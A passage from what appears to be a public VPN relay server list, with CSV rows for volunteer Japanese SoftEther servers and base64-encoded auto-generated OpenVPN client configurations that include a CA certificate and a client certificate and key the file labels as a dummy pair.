3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn693017146,218.131.41.95,1479548,10,1293802340,Japan,JP,80,1548641195,137219,37923341377420,2weeks,NARU's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMTguMTMxLjQxLjk1IDE1NDUNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn815210119,124.33.253.58,1470860,5,89541374,Japan,JP,43,619659195,12210,1394370400702,2weeks,Desktop-MainPC's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uI